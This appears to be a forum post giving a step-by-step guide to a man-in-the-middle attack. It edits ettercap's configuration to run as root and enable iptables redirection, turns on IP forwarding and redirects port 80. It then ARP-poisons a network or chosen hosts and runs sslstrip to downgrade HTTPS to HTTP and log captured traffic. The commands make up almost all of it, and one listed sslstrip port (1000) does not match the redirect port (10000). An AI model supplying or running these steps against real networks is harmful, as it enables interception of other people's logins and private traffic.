Must be configured to use the side ettercap command and report here is a little guide I wrote for help.
Code:
nano /etc/etter.conf
hold shift + press w then t
enter line 17 and you will see these lines you must change to 0
ec_uid = 65534 # nobody is the default
ec_gid = 65534 # nobody is the default
to this
ec_uid = 0 # nobody is the default
ec_gid = 0 # nobody is the default
hold shift + press w then t
type 1 then
hold shift + press w then t
type 168 and change the following lines
#redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
#redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
to this
redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
press ctrl+x and y to save
Time to start ettercap and sslstrip
Code:
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000
start ettercap
Code:
ettercap -T -q -M ARP // // -i (interface)
Try using a chosen host or hosts
Code:
ettercap -T -q -M ARP /gateway/ /target/
Obtain Gateway
Now start to strip sslstrip https (Hypertext Transfer Protocol Secure) back to http ((Hypertext Transfer Protocol).open a new terminal
Code:
sslstrip -l 1000 -w capture.txt
you can also use sslstrip with options
Code:
sslstrip -k -f -l 10000 -w capture
Bookmarks